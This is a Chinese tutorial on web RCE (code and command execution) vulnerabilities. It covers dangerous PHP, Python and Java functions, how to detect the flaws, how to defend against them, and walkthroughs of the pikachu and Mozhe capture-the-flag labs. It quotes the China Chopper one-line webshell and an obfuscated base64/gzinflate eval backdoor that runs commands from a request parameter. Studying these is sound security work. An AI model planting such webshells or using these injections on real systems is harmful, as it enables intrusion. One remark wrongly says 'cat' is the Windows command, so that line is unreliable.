目录

概念

代码执行和命令执行区别

代码执行漏洞特点

命令执行漏洞特点

漏洞形成条件

漏洞产生地方

如何检测漏洞

白盒情况下

黑盒情况下

防御方案

变量过滤或固定

WAF产品防火墙防护

敏感函数禁用

PHP:

python:

Java:

命令执行函数

拓展

菜刀一句话代码原理

案例演示

pikachu靶场黑盒功能点命令执行——应用功能

墨者白盒代码及命令执行——代码分析

案例补充知识点: 加密的带有echo


概念

这里引用小迪的话:
        在Web应用中有时候程序员为了考虑灵活性、简洁性、会将代码调用代码或者命令执行函数进行调用进行处理。比如当应用在调用一些能将字符串转换为代码的函数的时候,没有考虑用户是否能够控制这个字符串,将造成代码执行漏洞。

代码执行和命令执行区别

代码执行漏洞特点

基于脚本,根据由对应编写的脚本产生不同的危害,如php执行出php命令,Java则是Java命

eval函数调用输入是字符变为代码执行

此时网页将其传递的参数

http://192.168.248.129:801/RCE.php?x=phpinfo();

在代码中所执行的是:

$code=phpinfo();     eval(phpinfo(); ); #eval会将()中的以代码进行解析而不是字符串

system函数调用系统命令

命令执行漏洞特点

基于系统,根据使用的系统产生不同的危害,Windows执行Windows命令,Linux执行Linux命令

system函数调用的是系统命令 

 此时相当于cmd命令行内输入ipconfig如果是Linux系统则是ifconfig

漏洞形成条件

两个条件缺一不可

可控变量:可以控制的变量为可控变量,比如通过网址的一个传参,通过参数值改变变量值

通俗来说就是能够输入自己写的一些数据 

漏洞函数:指的是哪个函数对这个变量进行操作,如:eval

好比:上传函数对应文件上传,查询函数对应sql注入,输出函数对应XSS


另外这种漏洞出现的机率取决于网站的应用特性或带有使用的功能

所以在进行找这种漏洞的时候

如果网站只是单纯的一个展示网站,没有其他的查询接口和服务,出现代码执行的漏洞概率不大

漏洞产生地方

漏洞产生不只在编写网页的时候可能存在,同时在中间件,框架还有一些cms等插件程序也是存在

对于插件,框架,cms这些开源的直接到网上进行查找就可以进行复现

web程序源码

中间件平台

其他框架漏洞

如何检测漏洞

白盒情况下

通过代码审计进行查看源代码进行查看

黑盒情况下

漏洞扫描工具:AWVS、Appscan、Nessus

公开漏洞:网上会曝出漏洞,如果网上中有曝出相同的网站漏洞进行利用

源码漏洞,框架漏洞,中间件漏洞

手工看参数及功能点:根据对方的参数值和功能点进行查找,

查看某一个变量参数和使用的脚本语言有相关,实战中会遇到加密

防御方案

变量过滤或固定

代码执行是多样性的,不像sql注入一样存在固定的关键字,可以使用各种函数进行代替

所以过滤变量值不显示,可以改为固定变量值。

只允许使用某一种命令

WAF产品防火墙防护

找到市面上的一些安全产品进行防护

敏感函数禁用

PHP:

eval:把字符串作为php进行执行

assert:断言

call_user_func():把第一个参数作为回调参数

call_user_func_array():调用回到函数,并把第一个数组参数作为回到函数的参数

array_map():为数组的每个元素应用回调参数

python:

exec

Java:

Java中没有类似php中的eval函数可以直接将字符串转为代码进行执行的函数

但是存在反射机制,OGNL、SpEL等(存在相关利用的功能)

命令执行函数

system():执行外部程序并输出显示

exec():执行一个外部程序

shell_exec():通过shell环境执行命令,并将完整的输出以字符串的方式返回

passthru():执行外部命令并显示原始输出

pcntl_exec():在当前进程空间执行指定程序

``反引号():

<?php
echo `abc`;
?>

拓展

菜刀一句话代码原理

<?php @eval($_POST['Z']);?>

 原理:

菜刀将一些执行的数据包写到根据工具里面,然后利用密码传参点进行收发控制

eval会将传递的数据包以代码进行执行

通俗来说就是:操作变为数据包,然后数据包通过密码进行发送

案例演示

pikachu靶场黑盒功能点命令执行——应用功能

发现存在可以用于ping服务器通信,可能存在系统命令执行漏洞

另外:此时ping的是他的本机地址,同时也可能存在SSRF漏洞

进行分析可控变量,是否满足条件,发现是可以自由输入是可行的

 进行信息收集验证是属于Linux系统还是Windows系统

发现为window系统

 此时我们就利用Windows的多命令执行,发现这里是存在漏洞的

Windows下如何一次运行多个命令_天王的博客-CSDN博客_windows执行多条命令

 此后我们就可以对其进行后续的渗透

墨者白盒代码及命令执行——代码分析

 此时我们拿到该网页的一个源代码

 eval函数是一个代码输入的函数,此时这里可能是存在代码执行漏洞

我们此时将原来的eval函数更改为echo输出函数,将输入的改成输出原来的字符

<?php
eval(gzinflate(base64_decode(&40pNzshXSFCJD3INDHUNDolOjE2wtlawt+MCAA==&)));
?>

 由于是解密,所以&符号也要根变为’

<?php
echo gzinflate(base64_decode('40pNzshXSFCJD3INDHUNDolOjE2wtlawt+MCAA=='));
?>

此时在php环境得到输出结果为

echo `$_REQUEST[a]`;; ?>

 而request函数则是一个接受参数的函数,接受get,post和cookie的变量数据

此时就相当于

那么得知接受参数名为a,并且由request函数接受满足可控变量,eval能够带入代码进行执行

eval(echo `$_REQUEST[a]`;; ?>)

 此时利用变量a进行传参,列出当前文件

通过数据包发现是属于Linux系统

那么我们将使用tac命令对其读取文件,获取里面的内容,拿到flag

  如果是Windows系统则是cat

cat<key_120672328426179.php

案例补充知识点: 加密的带有echo

此处的echo并非是自己更换的echo

而是解密之后自带的echo,我们换成print输出也是带有echo输出

 他是存在于

gzinflate(base64_decode('40pNzshXSFCJD3INDHUNDolOjE2wtlawt+MCAA=='));

当加上echo之后是命令执行,而不存在echo的情况下是代码执行 

名词解释:

poc:验证代码

exp:利用漏洞

本文章仅供学习交流

RCE漏洞以及命令执行漏洞相关推荐

  1. Spring 框架更新了一条可能造成 RCE(远程命令执行漏洞)

    今天 Spring 框架更新了一条可能造成 RCE(远程命令执行漏洞)的问题代码,如图: 随即在国内安全圈炸开了锅,大家纷纷转发一张图: 上次因为核弹级漏洞 log4j2 的 POC 公开,大批企业为 ...

  2. 30.WEB漏洞-RCE代码及命令执行漏洞

    30:WEB漏洞-RCE代码及命令执行漏洞 参考文章:https://www.cnblogs.com/zhengna/p/15775737.html 本文为博主学习复现笔记 文章目录 30:WEB漏洞 ...

  3. WEB漏洞—RCE 代码及命令执行漏洞

    什么是RCE? 指的是远程命令/代码执行(remote command/code execute) 在 Web 应用中有时候程序员为了考虑灵活性.简洁性,会在代码调用代码或命令执行函数去处理.比如当应 ...

  4. RCE代码及命令执行漏洞简解

    在 Web 应用中有时候程序员为了考虑灵活性.简洁性,会在代码调用 代码或命令执行函数去处理.比如当应用在调用一些能将字符串转化成代 码的函数时,没有考虑用户是否能控制这个字符串,将造成代码执行漏 洞 ...

  5. 第30天-WEB 漏洞-RCE 代码及命令执行漏洞全解

    在 Web 应用中有时候程序员为了考虑灵活性.简洁性,会在代码调用代码或命令执行函数去处理.比如当应用在调用一些能将字符串转化成代码的函数时,没有考虑用户是否能控制这个字符串,将造成代码执行漏洞.同样 ...

  6. Web安全 RCE漏洞(命令执行漏洞的 测试和利用).

    系统命令执行的概括 系统命令执行一般是 在Web应用中,可能有时候需要调用一些系统命令来执行,而程序在开发的时候没有对输入进行严格的过滤,导致恶意用户可以构造一些恶意的系统命令,从而达成系统命令执行攻 ...

  7. php imagemagick 漏洞,ImageMagick命令执行漏洞分析

    关于ImageMagick ImageMagick是一个功能强大的开源图形处理软件,可以用来读.写和处理超过90种的图片文件,包括流行的JPEG.GIF. PNG.PDF以及PhotoCD等格式.使用 ...

  8. [ web 漏洞篇 ] 常见web漏洞总结之 RCE 远程代码 / 命令执行漏洞总结

  9. OXID eShop 6.x ~ 6.3.4 版本SQL注入漏洞到命令执行漏洞在线实验

    来源:https://www.vulnspy.com/en-oxid-eshop-6.x-sqli-to-rce/ 实验地址:https://www.vsplate.com/?github=vspla ...

最新文章

  1. 算法提高课-图论-单源最短路的建图方式-AcWing 920. 最优乘车:bfs求最短路、建图
  2. JAVA数据类型与逻辑练习
  3. 测试岗位 mysql 面试题_一套实用的渗透测试岗位面试题,你会吗?
  4. MySQL内核调试_MySQL内核技术之“Opt_trace_系列”
  5. JS如何设置获取盒模型对应的宽高
  6. ANSYS——查看某一截面的云图分布(也叫做切片图)
  7. js怎么制作html的主题,用HTML和CSS以及JS制作简单的网页菜单界面的代码
  8. JavaScript新手入门教程大全~~~
  9. java AST 表达式_Atitti.java exp ast java表达式语法ast构造器
  10. 转换文档参数_Word、Excel、PDF多格式转换?只需1招全搞定
  11. 数据库水平切分的实现原理解析---分库,分表,主从,集群,负载均衡器(转)...
  12. springboot后端接受图片到本地
  13. moba寻路_Dota2小技巧:从小兵仇恨到寻路机制
  14. 定位神器:1秒定位DOM元素绑定的事件代码的位置
  15. Launcher布局加载流程
  16. 独木舟上的旅行-OJ
  17. 水源井远程监测控制系统 泵房无人值守方案
  18. 1367:查找二叉树(tree_a)
  19. 最简单的视频网站(JavaEE+FFmpeg) 转载自: Mr.Rico
  20. navicat导入sql文件成功但没有表

热门文章

  1. 写文案超实用的五大技巧方法,价值5万(三)
  2. SQL语句基本的查询命令操详细总结
  3. TI高精度实验室-运算放大器-第八节-噪声
  4. Pandas数据分析基础
  5. 英语中的定义单词(Defining Vocabulary)
  6. 信号长线传输硬件抗干扰技术
  7. 发布版找不到字体,控制台会报错问题处理
  8. win10打开程序响应很慢_Win10显示器驱动程序停止响应后又恢复了解决方法
  9. 运筹学的松弛变量和影子价格或者对偶价格
  10. 我们的档案该怎么处理?